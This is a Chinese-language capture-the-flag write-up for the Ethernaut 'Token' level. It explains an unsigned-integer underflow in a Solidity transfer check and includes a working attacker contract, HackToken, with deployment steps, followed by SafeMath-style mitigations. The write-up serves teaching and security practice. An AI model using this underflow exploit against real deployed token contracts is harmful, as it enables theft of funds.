5. Token

Chain: Goerli
Difficulty: ●●○○○
Level: https://ethernaut.openzeppelin.com/level/0xDc0c34CFE029b190Fc4A6eD5219BF809F04E57A3

要求

这一关的目标是攻破下面这个基础 token 合约
你最开始有20个 token,如果你通过某种方法可以增加你手中的 token 数量,你就可以通过这一关,当然越多越好。
这可能有帮助:
什么是 odometer?

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

mapping(address => uint) balances;
uint public totalSupply;

constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}

我们可以看到 transfer 函数的require 检查代码:

require(balances[msg.sender] - _value >= 0);

由于 balances[msg.sender]_value 都是 uint 类型,balances[msg.sender] - _value 的结果也是 uint ,作为无符号整数永远是大于等于 0 的,导致我们可以任意取款。正确的写法是 require(balances[msg.sender] >= _value)

找到入侵点后,接下来再分析数据。

当前token数:

  • totalSupply: 21000000
  • player: 20
  • level: 20999980

题目中提到数量越多越好,balances 的类型是 uint ,最大值为2**256 -1,因此我们需要将value 变为最大值即可。

解题

  1. 首先打开Console,获取当前关卡合约实例地址 instance

  2. 打开 Remix IDE,创建文件 5_Token.sol,粘贴以下代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.4;

    interface IToken {
    function transfer(address _to, uint256 _value) external returns (bool);
    }

    contract HackToken {
    address levelInstance;

    constructor(address _levelInstance) {
    levelInstance = _levelInstance;
    }

    function claim() public {
    IToken(levelInstance).transfer(msg.sender, type(uint256).max - 20);
    }
    }

    其中value的值为 type(uint256).max - 20

  3. 在constructor 填入当前关卡合约实例地址后部署。

  4. 再调用 claim 函数,完成关卡。

后记

EVM 的整数有 int 和 uint 两种,对应有无符号的情况。在 int 或 uint 后可以跟随一个 8 的倍数,表示该整数的位数,如 8 位的 uint8。位数上限为 256 位,int 和 uint 分别是 int256 和 uint256 的别名,一般 uint 使用的更多。

在整数超出位数的上限或下限时,就会静默地进行取模操作。通常我们希望费用向上溢出变小,或者存款向下溢出变大。整数溢出漏洞可以使用 SafeMath 库来防御,当发生溢出时会回滚交易。

Overflow 在 solidity 中非常常见, 你必须小心检查, 比如下面这样:

1
2
3
if(a + c > a) {
a = a + c;
}

另一个简单的方法是使用 OpenZeppelin 的 SafeMath 库, 它会自动检查所有数学运算的溢出, 可以像这样使用:

1
2
a = a.add(c);

如果有溢出,代码会自动恢复。